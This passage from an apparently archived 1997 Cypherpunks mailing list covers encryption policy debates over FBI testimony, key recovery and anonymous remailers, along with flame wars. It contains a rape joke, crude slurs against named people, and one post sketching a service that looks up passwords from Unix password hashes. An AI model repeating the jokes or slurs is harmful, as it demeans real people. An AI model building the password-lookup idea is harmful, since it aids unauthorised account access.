> >to murder government officials" and that he had devised a plan to
> >overthrow the government.
> 
> So where are these "others" and why are they still being allowed to walk the
> streets? 

  Perhaps the others are all decent, law-abiding conspirators who
planned to have Dr.Kevorkian "help" government officials and, rather
than "overthowing" the government, will merely act as executors 
(pardon the pun) of the e$tate.

> All right.  You forced me.  "Why do they call it the 'Reasonable Man Test'?
> Because there's no such thing as a reasonable woman."  (See Above)  [Duck and
> Cover!]

  Everyone knows what "Coyote Ugly" is...do you know what "Jailbird
Ugly" is?
  It's when a woman is so ugly that her rapist is sentenced to
_do_ her again--from the front.

ArsonAssed
"Justice is a two-edged place to put your sword."

Something's wrong when I'm sodomized under an increasing number of laws.
Only one response to the dick grabbers is warranted: "Pull!...Pull!"
---------:---------:---------:---------:---------:---------:---------:----
Mayor Maynot                | Sexual Anarchy: raincoat encryption, 
mm@got.sum     408-728-0152 | anonymous sex, digital fetishes, Zippo
W.A.S.T.E.: Corralitos, CA  | knowledge, bad reputations, sex markets,
Higher Power: 2^1398269     | black sex markets, collapse of boners.
"Chastity belts aren't even hemmeroids on the anal bi-way."






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Antonomasia <ant@notatla.demon.co.uk>
Date: Sun, 13 Jul 1997 09:06:46 +0800
To: cypherpunks@toad.com
Subject: Re: Jim Bell reference
Message-ID: <199707112357.AAA01108@notatla.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



mctaylor@mta.ca commented on the Jim Bell case and Dorothy Denning.
Vin McLellan <vin@shore.net> forwarded the 'Freeh Speech'

Statement of Louis J. Freeh, Director, FBI....

>The looming spectre of the widespread use of robust, virtually uncrackable
>encryption is one of the most difficult problems
>confronting law enforcement as the next century approaches. At stake are
>some of our most valuable and reliable investigative
>techniques

Baloney.  The figures you give later indicate 1000 or 2000 investigations
a year meeting computer encryption.  Even if they were all unbreakable
that's 2000/year in a population of how many ?  Dents the clear-up rate
by how much ?   Makes me think the issue is the preservation of many
thousands of _unathorised_ taps.  What else could explain that viewpoint?


>There have been
>numerous cases where law enforcement, through the
>use of electronic surveillance, has not only solved and successfully
>prosecuted serious crimes and dangerous criminals, but has
>also been able to prevent serious and life-threatening criminal acts. For
>example, terrorists in New York were plotting to bomb
>the United Nations Building, the Lincoln and Holland Tunnels, and 26
>Federal Plaza as well as conduct assassinations of
>political figures. Court-authorized electronic surveillance enabled the FBI
>to disrupt the plot as explosives were being mixed.

Over here video cameras in public places seem to hit the jackpot
quite often in this area.

>another example, electronic surveillance was used to
>prevent and then convict two men who intended to kidnap, molest and then
>kill a male child.

Witnesses are better, they can catch the lone molester who has no 
communications.  We had a well-publicised case a couple of years ago
where a man was caught with a kidnapped girl in his van shortly after
a gardener happened to see the girl's feet beneath the van at the instant
she was lifted off the ground.

Incidentally, I'm against terrorism, child molestation etc etc. 
I'm confident most other cypherpunks are too, so no nonsense please
about free crypto supporters being backers of [crime of the month].

>       Convicted spy Aldrich Ames was told by the Russian intelligence
>       service to encrypt computer file information that was
>       to be passed to them.

But he was convicted anyway ?  So crypto was not a problem to LE ?

>       An international terrorist was plotting to blow up 11 U.S.-owned
>       commercial airliners in the far east. His laptop
>       computer which was seized during his arrest in Manilla contained
>       encrypted files concerning this terrorist plot.

Also not a problem if the files were found to concern the plot.

>       A subject in a child pornography case used encryption in
>       transmitting obscene and pornographic images of children
>       over the Internet.

As above.

>       A major international drug trafficking subject recently used a
>       telephone encryption device to frustrate court-approved
>       electronic surveillance.

If life were that easy you'd have your budget cut, and deserve it.


>Over the last three (3) years, the FBI has also seen the number of computer
>related cases utilizing encryption and/or password
>protection increase from 20 or two (2) percent of the cases involving
>electronically stored information to 140 or seven (7)
>percent. These included the use of 56 bit data encryption standard (DES)
>and 128 bit "pretty good privacy" (PGP) encryption.

>Just as when this committee so boldly addressed digital telephony, the
>government and the nation are again at an historic
>crossroad on this issue.

...are again at a sharp disagreement ?




Now over to M. C. Taylor

>The one major difference in Dr. Denning's point of view is that she has a
>large degree of trust in LEA. Period. That is the difference
>between Dr. Denning and the average cypherpunk. 

Here in the UK you just have to say 'West Midlands Serious Crime Squad'
(now disbanded) to blow away the idea that the police evidence is always
genuine.  Even today a senior policeman is reported in newspapers as
saying his force employs dishonest people who would not be employed by a
supermarket, and that he regrets needing such a high standard of evidence
to fire them.  When you think how easily alleged communications can be
faked in contrast to physical evidence (such as a bloody glove, say)
I'm uncomfortable that electronic evidence is even admissible.

>The evidence is weak, in an article from May of this year, Denning quotes
>500 cases world-wide, but neglects to follow-up with which of these cases
>were solved regardless; due to other evidence or because the suspect was
>using crummy crypto. 
>
>Denning doesn't seem too concern with lawless government access, access
>beyond the scope, government tampering or forgery of information which are
>possible with poor key escrow technologies.

Very good points.



--
###############################################################
# Antonomasia   ant@notatla.demon.co.uk                       #
# See http://www.notatla.demon.co.uk/                         #
###############################################################





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 13 Jul 1997 09:08:26 +0800
To: cypherpunks@toad.com
Subject: Re: Airlines to start profiling, bag matching
Message-ID: <199707112350.BAA05228@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Duncan Frissell wrote: 
> -----BEGIN PGP FORGED MESSAGE-----
> At 08:41 PM 7/10/97 -0700, Alan Olsen wrote:
> 
> >"Is this Nazi land so good?  Would you leave it if you could?" - from the
> >missing part of the Clinton inaguration speech
> 
> Or how about the Clash's "I'm Sick and Tired of the USA"

  Or, as I was saying to Lucky Green the other day,
"Do you feel _punk_, Lucky? Well...do you?"

BadPunMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Anderson <randerso@ece.eng.wayne.edu>
Date: Sat, 12 Jul 1997 16:57:33 +0800
To: Steve Schear <azur@netcom.com>
Subject: Re: Routing around damage
In-Reply-To: <v03102802afecd9bc6add@[10.0.2.15]>
Message-ID: <Pine.GSO.3.95.970712041915.26608B-100000@ece>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 11 Jul 1997, Steve Schear wrote:

> >> Remember "the internet interprets censorship as damage and routes around
> >> it"?  I'd be happy with an internet that interprets DAMAGE as damage and
> >> routes around it.
> >
> >It does.. It's just that when you lose a *large* access point, the impact
> >is significant.  (I think that's what happened here...)
> 
> Seems to me that having only a few, heavily trafficed, NAPs is a
> topological weakness in the Net which needs to be delt with soon.

Quite true, but the other main problem, that of major routers dropping
lots of packets during high traffic times (basically, anytime from noon
eastern until about 8 eastern is horrible, and it tends to pick up a
little after that I think, but it stays bad until after about midnight
eastern from what I've been able to tell), remains completely unresolved.
Some initiatives are in the planning stages to deal with these things, but
the sheer number of routes on the net at this point is a problem.  Of
course, MCI's horrible ATM <-> IP interface is a major point of congestion
at this point, at least from my connection here at school.

Ryan Anderson - <Pug Majere>     "Who knows, even the horse might sing" 
Wayne State University - CULMA   "May you live in interesting times.."
randerso@ece.eng.wayne.edu                        Ohio = VYI of the USA 
PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
-----------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sat, 12 Jul 1997 21:19:52 +0800
To: cypherpunks@ssz.com
Subject: index.html
Message-ID: <199707121259.HAA12545@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain



   CNN logo 
   US navbar 
   
   Infoseek/Big Yellow 
   
   
   Pathfinder/Warner Bros 
   
   
   
   
   US fringe banner All Politics 
   
     rule
     
                      MAN SHOOTS COMPUTER IN FRUSTRATION
                                       
      killyerputer
     
     ISSAQUAH, Wash. (AP) -- A man was coaxed out of his home bypolice
     after he pulled a gun and shot his personal computer,apparently in
     frustration.
     
     "We don't know if it wouldn't boot up or what," Sgt. KeithMoon said
     Thursday.
     
     The computer, in a home office on the second floor of thetownhouse,
     had four bullet holes in the hard drive and one in themonitor.
     
     One bullet struck a filing cabinet, while another made itthrough a
     wall and into a neighboring unit. No one was hurt.
     
     Police evacuated the complex, contacted the 43-year-old man
     bytelephone and got him to come out. He was taken to a hospital for
     amental evaluation.
     
     Copyright 1997 Associated Press. All rights reserved. This material
     may not be published, broadcast, rewritten, or
     redistributed.  Search for related CNN stories:
     ________________________________________   ______ [Help]
     Tip: You can restrict your search to the title of a document.
     Infoseek grfk
     
     Example: title:New Year's Resolutions
      rule Message Boards 
     
  Sound off on our message boards
  
     Tell us what you think!
     
     You said it... [INLINE] All Politics rule
     
   
   To the top 
   
   (c) 1997 Cable News Network, Inc.
   All Rights Reserved.
   
        Terms under which this service is provided to you.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 13 Jul 1997 09:01:04 +0800
To: cypherpunks@toad.com
Subject: Citizens' Butts Open to Key Recovery Alternative
Message-ID: <199707120630.IAA00124@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Alan wrote:
> http://www.wired.com/news/news/politics/story/5133.html
> McCain Open to Key Recovery Alternative
> by Rebecca Vesely
> 
> Senator John McCain, sponsor of legislation that
> would create a domestic key recovery system for all encrypted
> commercial transactions and personal communications, said Friday that
> he is open to hearing alternatives to such a plan.

  Didn't one of the list members just mention a "cracking open the
citizen's brain with a crowbar" plan? Has anyone forwarded it to
McCain yet? Is he proposing "use of a thick skull in the commission
of a crime" legislation yet?

> Privacy advocates and much of
> the high-tech industry oppose domestic key recovery on grounds that it
> would violate civil rights 

  Which is their way of saying that compromise and selling-out is
going to come at a premium price on this issue.

>and be impractical and expensive to build and manage.

  And will thus provide outrageous profits for those who are chosen
to pluck _this_ golden goose. (CryptoStar Wars?)

> McCain said he met with Microsoft representatives recently to discuss
> a new technology being developed by the software giant that could be
> less intrusive and problematic than key recovery.

  Less "blatantly" intrusive? Less "obviously" intrusive?
  or
  More "secretly" intrusive? More "sneakily" intrusive?

  Less "fascistly" intrusive? Less "unconstitutionally" intrusive?
  or
  More "justifiably" intrusive? More "corporately" intrusive?

>The senator also said
> he plans to meet with Netscape officials next week to discuss yet
> another alternative.

  Translate that to say, "To work one industry giant against the
other." or "To engender in each of them the fear that their chief
competitor will be chosen to profit outageously for helping to 
violate the civil rights of their customers.
 
> Just two days ago, at a Senate Judiciary Committee hearing on the bill,
> FBI director Louis Freeh testified on the need for mandatory domestic
> key recovery, and some senators on the committee, notably the
> chairman, Orrin Hatch (R-Utah), seemed to agree that some sort of
> domestic key recovery is needed to allow law enforcement to wiretap
> suspect digital communications and transactions.

  Translate that to say, "to allow law enforcement to wiretap _all_
digital communications and transactions in order to decide which
ones they wish to apply for a _legal_ wiretap for."

  The reason it is called "Capitol Hill" is because there is a 
"mountain of capital" waiting for anyone who wants to play ball
with the criminals who inhabit that dark lair.
  Tim May pointed out the "fever" overtaking the legislators to
be the first to mine the "hard on drug dealing pedophiles" gold
that the LEA's have promised them on this issue.
  McCain is now making the rounds of the corporate players to
offer them a chance to help draw the map that will lead to the
thirty million pieces of silver the Romans in D.C. are offering
anyone who will betray the citizens.

  "And as BillyG was beneath in the Whitehouse, there cometh one
of the maids of Louis Freeh:
  "And when she saw BillyG counting his money, she looked upon him,
and said, 'And thou was also wast with Citizen of the Constitution.'
  "But he denied, saying, I know not, neither understand what thou
sayest. And he went out of the Lincoln bedroom onto the Whithouse
lawn to count his money; and the cock(sucker Louis Freeh) crew.
  "And a maid saw him again, and began to say to them that stood
by with large guns and open warrants, 'This is _one_ of them.'
  "And he denied it again. And a little after, they that stood by
said again to BillyG, 'Surely thou art _one_ of them: for thou
art a FreeMarketer, and thy speech agreeth thereto.
  "But he began to curse and swear like a CypherPunk, saying,
'I know not this Constitution of which you speak.'
  "And the second time the cock(sucker Louis Freeh) crew.
  "And BillyG called to mind the word that the Citizen said unto
him, 'Before the cock(sucker Louis Freeh) crow twice, thou shalt deny
your customers' civil rights thrice.' And when he thought thereon,
he wept."

Or,
  Will Netscape's Moses Weinstein come down from the "mountain of
capital" with the stone tablets upon which are engraved the
command-line-ments which will be used to access the records of
those who own the golden calves and the goats?

{Old Testament Joke: "What is the difference between a Gentile
and a sacrificial lamb of God?"  Answer: "Tablet escrow."}

{New Testament Joke: "What issue should have been addressed by
an "amendment" to the Torah that was essential to protect 
"Religious Security" and prevent the overthrow of the Pharisees
and Saudecees?"   Answer: "Body recovery."}

Jesus F. Christ of Nazareth (the band!)
~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~
"I am the Way(-out) and the Truth(Monger) and the Light (that
doobie and pass it over here)."
"There is something wrong when I'm a sinner under an increasing
number of commandments."
"Spirituality interprets commandments as damage and rises
above them."






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 12 Jul 1997 14:53:53 +0800
To: cypherpunks@cyberpass.net
Subject: Re: The Recent Trend in "Collective Contracts"
In-Reply-To: <199707102236.SAA07074@mail3.uts.ohio-state.edu>
Message-ID: <199707120646.IAA02109@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, Jul 11, 1997 at 03:29:37PM -0700, Tim May wrote:

<snip>
> What I do know is that the Deal bars lawsuits
> from those not even part of the class action lawsuits: it effectively gives
> a grant of perpetual immunity for smoking-related damages to the tobacco
> companies.

and

> The Deal would halt future lawsuits from smokers, even
> those who have not yet engaged in any class action suit (even those who
> have not yet started smoking, even those not yet born, as experts
> understand the language of the Deal).

>From http://www.cnn.com/US/9706/20/tobacco.pm.2/index.html

    "Smokers who are ill could no longer sue tobacco companies seeking
    punitive damages for past industry misconduct, but they COULD SUE
    TO RECOVER ACTUAL DAMAGES SUCH AS MEDICAL BILLS.  SMOKERS STILL
    COULD SUE FOR AND COLLECT BOTH ACTUAL AND PUNITIVE DAMAGES FOR ANY
    FUTURE INDUSTRY WRONGDOING."

> >Relax.  No need to be indignant.
> 
> I'll be indignant if I wish.

Of course.

> Your intent clearly is to troll this group with government-friendly
> shilling.

I suppose it could be just as accurately said that you troll the group
with government-unfriendly shilling.  Some have an unfortunate habit
of rising to the bait.

> And like Sternlight, you mask your
> ignorance on many issues with pomposity. 

Possibly.  Obviously not doing a very good job.  Clearly, my ignorance
is boundless, and what I know is very tiny indeed.  However, I observe
that you are very familiar with pomposity, and should therefore be a
good judge.  

> Like Detweiler and Vulis, your
> intent is to disrupt the group.

I don't know about Detweiler.  In my short tenure on this list Vulis
has given no evidence that his intent is to "disrupt the group" -- he 
just seems to express his sometimes extreme opinions.  Like you.

In any case, it is not true that my intent is to "disrupt the group",
and it is hard to see how my few, offhand posts on the topic of the
tobacco agreement could be seen as anything remotely approaching a
deliberate campaign.  I think you are attributing me far more potency
than is warranted.

KC





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Stone Monkey <sm@nym.alias.net>
Date: Sat, 12 Jul 1997 17:00:04 +0800
To: cypherpunks@Algebra.COM
Subject: Re: FYI: NSA Requests Source Code From Elvis+
Message-ID: <19970712085043.11461.qmail@nym.alias.net>
MIME-Version: 1.0
Content-Type: text/plain



In article <9707071618.AA63188@public.uni-hamburg.de> Ulf Mueller writes:
>> The National Security Agency has asked Sun Microsystems Inc. and Elvis+,
>> the Russian networking company in which Sun has a 10 percent stake, to
>> turn over the source code of its SunScreen SKIP E+.
>
>Why should the US government get access to the source code of foreign
>product being imported to the US?

To me the announcement implied that the NSA wanted to compare Sun's
and Elvis+'s implementations, to verify that they are actually different.
To check that Sun didn't simply smuggle the code out and launder it 
through Elvis+. They're not looking at imports (why would Elvis+'s
code be imported? It's already available domestically from Sun), they're
looking at Sun's well-publicised end-run around the crypto chilling
effect, to see if Sun perhaps cut any corners.

But it's more fun to rant about the paranoid thrashings of a government
bogeyman than it is to attempt to understand the actions of the NSA,
which is not staffed by stupid people.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Antonomasia <ant@notatla.demon.co.uk>
Date: Sun, 13 Jul 1997 04:09:16 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Jim Bell reference
Message-ID: <199707120851.JAA01075@notatla.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




mctaylor@mta.ca commented on the Jim Bell case and Dorothy Denning.
Vin McLellan <vin@shore.net> forwarded the 'Freeh Speech'

Statement of Louis J. Freeh, Director, FBI....

>The looming spectre of the widespread use of robust, virtually uncrackable
>encryption is one of the most difficult problems
>confronting law enforcement as the next century approaches. At stake are
>some of our most valuable and reliable investigative
>techniques

Baloney.  The figures you give later indicate 1000 or 2000 investigations
a year meeting computer encryption.  Even if they were all unbreakable
that's 2000/year in a population of how many ?  Dents the clear-up rate
by how much ?   Makes me think the issue is the preservation of many
thousands of _unathorised_ taps.  What else could explain that viewpoint?


>There have been
>numerous cases where law enforcement, through the
>use of electronic surveillance, has not only solved and successfully
>prosecuted serious crimes and dangerous criminals, but has
>also been able to prevent serious and life-threatening criminal acts. For
>example, terrorists in New York were plotting to bomb
>the United Nations Building, the Lincoln and Holland Tunnels, and 26
>Federal Plaza as well as conduct assassinations of
>political figures. Court-authorized electronic surveillance enabled the FBI
>to disrupt the plot as explosives were being mixed.

Over here video cameras in public places seem to hit the jackpot
quite often in this area.

>another example, electronic surveillance was used to
>prevent and then convict two men who intended to kidnap, molest and then
>kill a male child.

Witnesses are better, they can catch the lone molester who has no 
communications.  We had a well-publicised case a couple of years ago
where a man was caught with a kidnapped girl in his van shortly after
a gardener happened to see the girl's feet beneath the van at the instant
she was lifted off the ground.

Incidentally, I'm against terrorism, child molestation etc etc. 
I'm confident most other cypherpunks are too, so no nonsense please
about free crypto supporters being backers of [crime of the month].

>       Convicted spy Aldrich Ames was told by the Russian intelligence
>       service to encrypt computer file information that was
>       to be passed to them.

But he was convicted anyway ?  So crypto was not a problem to LE ?

>       An international terrorist was plotting to blow up 11 U.S.-owned
>       commercial airliners in the far east. His laptop
>       computer which was seized during his arrest in Manilla contained
>       encrypted files concerning this terrorist plot.

Also not a problem if the files were found to concern the plot.

>       A subject in a child pornography case used encryption in
>       transmitting obscene and pornographic images of children
>       over the Internet.

As above.

>       A major international drug trafficking subject recently used a
>       telephone encryption device to frustrate court-approved
>       electronic surveillance.

If life were that easy you'd have your budget cut, and deserve it.


>Over the last three (3) years, the FBI has also seen the number of computer
>related cases utilizing encryption and/or password
>protection increase from 20 or two (2) percent of the cases involving
>electronically stored information to 140 or seven (7)
>percent. These included the use of 56 bit data encryption standard (DES)
>and 128 bit "pretty good privacy" (PGP) encryption.

>Just as when this committee so boldly addressed digital telephony, the
>government and the nation are again at an historic
>crossroad on this issue.

...are again at a sharp disagreement ?




Now over to M. C. Taylor

>The one major difference in Dr. Denning's point of view is that she has a
>large degree of trust in LEA. Period. That is the difference
>between Dr. Denning and the average cypherpunk. 

Here in the UK you just have to say 'West Midlands Serious Crime Squad'
(now disbanded) to blow away the idea that the police evidence is always
genuine.  Even today a senior policeman is reported in newspapers as
saying his force employs dishonest people who would not be employed by a
supermarket, and that he regrets needing such a high standard of evidence
to fire them.  When you think how easily alleged communications can be
faked in contrast to physical evidence (such as a bloody glove, say)
I'm uncomfortable that electronic evidence is even admissible.

>The evidence is weak, in an article from May of this year, Denning quotes
>500 cases world-wide, but neglects to follow-up with which of these cases
>were solved regardless; due to other evidence or because the suspect was
>using crummy crypto. 
>
>Denning doesn't seem too concern with lawless government access, access
>beyond the scope, government tampering or forgery of information which are
>possible with poor key escrow technologies.

Very good points.


--
###############################################################
# Antonomasia   ant@notatla.demon.co.uk                       #
# See http://www.notatla.demon.co.uk/                         #
###############################################################





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tom Weinstein <tomw@netscape.com>
Date: Sun, 13 Jul 1997 09:20:32 +0800
To: Alan <alano@teleport.com>
Subject: Re: Microsoft and Netscape to Provide McCain with Options?
In-Reply-To: <Pine.GSO.3.96.970711182355.24515C-100000@linda.teleport.com>
Message-ID: <33C82C1A.B3E5FD14@netscape.com>
MIME-Version: 1.0
Content-Type: text/plain



Alan wrote:
> 
> On Fri, 11 Jul 1997, Tim May wrote:
> 
>> At 5:26 PM -0700 7/11/97, Alan Olsen wrote:
>
>>> McCain said he met with Microsoft representatives recently to
>>> discuss a new technology being developed by the software giant that
>>> could be less intrusive and problematic than key recovery. The
>>> senator also said he plans to meet with Netscape officials next week
>>> to discuss yet another alternative.
>>
>> This is something we should watch _very_ closely!
> 
> I agree.  The article seemed to imply that both Microsoft and Netscape
> were falling all over each other trying to come up with gak-like
> alternatives to key recovery.  I wonder what Tom Weinstien can tell us
> about that...  (He has been a bit quiet lately...  Too quiet.)

When I'm quiet, it's probably because I'm busy.  It's certainly not
because I was spirited off to Fort Meade by the black helicopters for
brain washing.

Let's look at this another way.  Given the opportunity to discuss your
views with a senator, whouldn't you take it?  Even if there's very
little chance of changing his mind?

We aren't going to suddenly do an about face and start saying that GAK
is good.  Even if anyone here believed that, there's no way that we'd be
able to sell it to our overseas customers.

-- 
What is appropriate for the master is not appropriate| Tom Weinstein
for the novice.  You must understand Tao before      | tomw@netscape.com
transcending structure.  -- The Tao of Programming   |





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 13 Jul 1997 08:50:26 +0800
To: cypherpunks@toad.com
Subject: Re: The Recent Trend in "Collective Contracts"
In-Reply-To: <199707120646.IAA02109@basement.replay.com>
Message-ID: <e33q0D14w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



nobody@REPLAY.COM (Anonymous) writes:
> On Fri, Jul 11, 1997 at 03:29:37PM -0700, Tim May wrote:
>
> > Your intent clearly is to troll this group with government-friendly
> > shilling.
>
> I suppose it could be just as accurately said that you troll the group
> with government-unfriendly shilling.  Some have an unfortunate habit
> of rising to the bait.

I don't respond to Kent, and most of the time delete his articles after
reading only the first few lines.  I hope that one day he will say
something more profound that his usual trolls.

> > And like Sternlight, you mask your
> > ignorance on many issues with pomposity.
>
> Possibly.  Obviously not doing a very good job.  Clearly, my ignorance
> is boundless, and what I know is very tiny indeed.  However, I observe
> that you are very familiar with pomposity, and should therefore be a
> good judge.

Back when Sternlight joined this mailing list briefly and started trolling
people with his stupid and ignorant rants, I repeatedly asked everyone not
to respond to his trolls on-list.  When Sternlight was ignored, he left.
He might have had something interesting to say (he knows a lot more about
crypto than Timmy - still not much) but he chose not to.

> > Like Detweiler and Vulis, your
> > intent is to disrupt the group.
>
> I don't know about Detweiler.  In my short tenure on this list Vulis
> has given no evidence that his intent is to "disrupt the group" -- he
> just seems to express his sometimes extreme opinions.  Like you.

Timmy is just lying. I'm not disrputing this mailing list - quite the
opposite, I played a signficant role in saving it from censorship.

Detweiller knows much more than Timmy about cryptography and is a
victim of his censorship.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: geeman@best.com
Date: Sun, 13 Jul 1997 09:50:13 +0800
To: cypherpunks@toad.com
Subject: Re: Microsoft and Netscape to Provide McCain with Options?
Message-ID: <3.0.32.19970712183331.006a9898@best.com>
MIME-Version: 1.0
Content-Type: text/plain




Mostly I'd like to know what the proposals by these loft captains
of industry ARE.

At 06:15 PM 7/12/97 -0700, Tom Weinstein wrote:
>
>Alan wrote:
>> 
>> On Fri, 11 Jul 1997, Tim May wrote:
>> 
>>> At 5:26 PM -0700 7/11/97, Alan Olsen wrote:
>>
>>>> McCain said he met with Microsoft representatives recently to
>>>> discuss a new technology being developed by the software giant that
>>>> could be less intrusive and problematic than key recovery. The
>>>> senator also said he plans to meet with Netscape officials next week
>>>> to discuss yet another alternative.
>>>
>>> This is something we should watch _very_ closely!
>> 
>> I agree.  The article seemed to imply that both Microsoft and Netscape
>> were falling all over each other trying to come up with gak-like
>> alternatives to key recovery.  I wonder what Tom Weinstien can tell us
>> about that...  (He has been a bit quiet lately...  Too quiet.)
>
>When I'm quiet, it's probably because I'm busy.  It's certainly not
>because I was spirited off to Fort Meade by the black helicopters for
>brain washing.
>
>Let's look at this another way.  Given the opportunity to discuss your
>views with a senator, whouldn't you take it?  Even if there's very
>little chance of changing his mind?
>
>We aren't going to suddenly do an about face and start saying that GAK
>is good.  Even if anyone here believed that, there's no way that we'd be
>able to sell it to our overseas customers.
>
>-- 
>What is appropriate for the master is not appropriate| Tom Weinstein
>for the novice.  You must understand Tao before      | tomw@netscape.com
>transcending structure.  -- The Tao of Programming   |
>
>
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Deters <jad@dsddhc.com>
Date: Sun, 13 Jul 1997 07:52:36 +0800
To: cypherpunks@cyberpass.net
Subject: remailer@rcmp-grc.gc.ca ??
Message-ID: <199707122345.SAA16117@tick.dsddhc.com>
MIME-Version: 1.0
Content-Type: text/plain




A bigger quote from the RCMP's Technological Crime Bulletin, located at:

http://www.rcmp-grc.gc.ca/html/tcb3-3b.htm

[begin quote]

There are many anonymous re-mailers in operation across the Internet. To
use one of these services, a person must send an e-mail message to the
re-mailer, who will, in turn, send a return message which will include a user
ID for this anonymous service. You can now send a message to any
e-mail address via this server and receive responses without divulging your
true identity. Particularly privacy-conscious individuals have been known
to loop their e-mail through two or more anonymous re-mailers to hide
their tracks completely. Couple this with data encryption, and you have an
exceptionally secure e-mail system.

However, re-mailers may not be as secure as once thought. For example,
the person who runs the re-mailer has the capability to discover who you
are and to read and record all messages sent. The Internet re-mailer could
be a government sting operation or a criminal enterprise designed to
entrap people. Hackers can break into the re-mailer and read all of the
e-mail traffic.

Law enforcement must be aware of the existence of anonymous
re-mailers, as they provide a cheap, efficient, and secret way of
communication for criminal groups. Although there are few documented
cases of this form of communication among criminal organizations, there is
no doubt that the potential is present. But the news to law enforcement
may not be all bad. It may be possible for law enforcement to use
anonymous re-mailers as part of an ongoing operational plan. For
example, investigators could also loop their e-mail messages through
re-mailers to disguise their identity. This could have excellent application in all types of undercover investigations.

[End quote]

This quote, while not the entire page, shows that LEOs are not quite as clueless as they have been in the past.  In particular, the author seems to have a functional grasp of remailers, even though he describes a penet-style remailer.  He recognises the inherent dangers of trusting a remailer, and even the value of setting up a remailer for use in a sting operation!

My favourite part is the last quoted paragraph, where he suggests that what's good for the goose is also good for the gander.

Better check Raph's list again for the existance of remailer@rcmp-grc.gc.ca

NotAMongerAtAll





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sun, 13 Jul 1997 08:09:38 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: remailer@rcmp-grc.gc.ca ?? (fwd)
Message-ID: <199707122352.SAA13268@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Sat, 12 Jul 1997 18:45:56 -0500
> From: John Deters <jad@dsddhc.com>
> Subject: remailer@rcmp-grc.gc.ca ??

> There are many anonymous re-mailers in operation across the Internet.

That's being just a tad charitable I think.


    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael C Taylor <mctaylor@mta.ca>
Date: Sun, 13 Jul 1997 06:11:46 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Routing around damage
In-Reply-To: <v03102802afecd9bc6add@[10.0.2.15]>
Message-ID: <Pine.LNX.3.96.970712185240.5646C-100000@fractal.mta.ca>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 11 Jul 1997, Steve Schear wrote:

> >On Fri, 11 Jul 1997, Anonymous wrote:
> >
> >> Remember "the internet interprets censorship as damage and routes around
> >> it"?  I'd be happy with an internet that interprets DAMAGE as damage and
> >> routes around it.
> >
> >It does.. It's just that when you lose a *large* access point, the impact
> >is significant.  (I think that's what happened here...)
> 
> Seems to me that having only a few, heavily trafficed, NAPs is a
> topological weakness in the Net which needs to be delt with soon.

What else do you expect from mass-market commericalization of Network
Providers? "The cheapest route."

AOL's growth spurt and pains should of been a foreshadow for anyone
in the business.

-M, who's network access is not redudent nor is my NAP balanced-redudent
    (the backup route is 128K for NB last time I asked)

--
Michael C. Taylor <mctaylor@mta.ca> <http://www.mta.ca/~mctaylor/>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 13 Jul 1997 08:50:22 +0800
To: cypherpunks@toad.com
Subject: Fuck the Usenet Cabal
In-Reply-To: <Pine.LNX.3.96.970712185240.5646C-100000@fractal.mta.ca>
Message-ID: <836q0D18w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



> Remember "the internet interprets censorship as damage and routes around it"?

No, the Internet interprets cocksucker John Gilmore as censorship, shits on
him, and routes around him. :-)

ObCrypto: I was offered a 76GB changer for $350.  I thought of the following
demo application: a user e-mails a piece of a Unix passwd file (password+salt)
to a server, which looks up a password that works.  Problem is, 76GB doesn't
seem sufficient for the lookup table. :-( (Assume infinite time available
on a fast box.)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nim@nim.com
